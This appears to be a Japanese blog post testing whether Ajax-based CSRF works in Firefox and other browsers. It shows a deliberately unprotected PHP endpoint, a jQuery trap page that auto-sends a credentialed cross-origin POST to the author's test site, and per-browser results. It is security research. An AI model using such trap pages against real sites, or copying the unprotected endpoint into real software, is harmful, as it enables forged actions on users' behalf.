FirefoxだとAjaxでのCSRFができなくなってる?
(2015-03-20 追記) 【訂正】 Firefox 36でAjaxを利用したCSRF攻撃が可能なことを確認しました。この記事で攻撃できないとしていたのは、Firefoxのアドオンが防いでいたようです。
検証方法
攻撃対象ページと罠ページを作成します。
攻撃対象ページ
まず、リクエストを受ける攻撃対象ページを作成します。
POSTメソッドでリクエストされた場合に、ログに記録するだけです。もちろんなんのCSRF対策もしません。
GETされた場合は、確認のためにログを表示するようにします。
<?php
$log = __DIR__ . '/post.log';
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$lines = file($log);
$lines = array_reverse($lines);
echo '<pre>' . "\n";
foreach ($lines as $line) {
echo htmlspecialchars($line);
}
echo '</pre>' . "\n";
} else {
$data = $_POST;
$data['time'] = date(DATE_ATOM);
$data['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$line = sprintf('[%s] "%s" "%s"' . "\n", $data['time'], $data['comment'], $data['user_agent']);
file_put_contents($log, $line, LOCK_EX | FILE_APPEND);
}
これで、攻撃対象ページは完成です。
罠ページ
次に、罠ページを作成します。攻撃したい人をこの罠ページにアクセスさせれば、CSRFによる攻撃が実行されます。
jQueryで自動的にAjaxでPOSTするようにします。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF attack via Ajax</title>
<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script>
$(function () {
function post() {
$.ajaxSetup({
crossDomain: true,
xhrFields: {
withCredentials: true
}
});
$.post(
'https://csrf-ajax-target.herokuapp.com/',
{comment: 'This is CSRF attack via Ajax'}
)
}
post();
});
</script>
</head>
<body>
<p>CSRF attack via Ajax</p>
<p><?php echo date(DATE_ATOM); ?></p>
</body>
</html>
これで、完了です。面倒なので、攻撃したとかそういう親切な表示はありません。現在時刻だけ表示してます。
試したい人へ
(2015-03-23 追記) サンプルサイトを変更しました。
すぐに試せるように、罠ページをhttp://csrf-trap.herokuapp.com/ajax-post/に作成しました。
ということで、攻撃されてみたい人はhttp://csrf-trap.herokuapp.com/ajax-post/にアクセスし、その後、「See results.」のリンクをクリックしてください。
攻撃が成功していれば、1行目に「CSRF attack was succeeded.」、2行目にCSRFでPOSTしたメッセージ「This is CSRF attack via Ajax」が表示されます。
結果
攻撃成功
- Firefox 36.0 (Linux)(2015-03-20 追記)
- Chrome/39.0.2171.65 (Linux)
- Opera/9.80 (Linux)
攻撃失敗
Firefox 34.0 (Linux)
関連
Date: 2014/12/22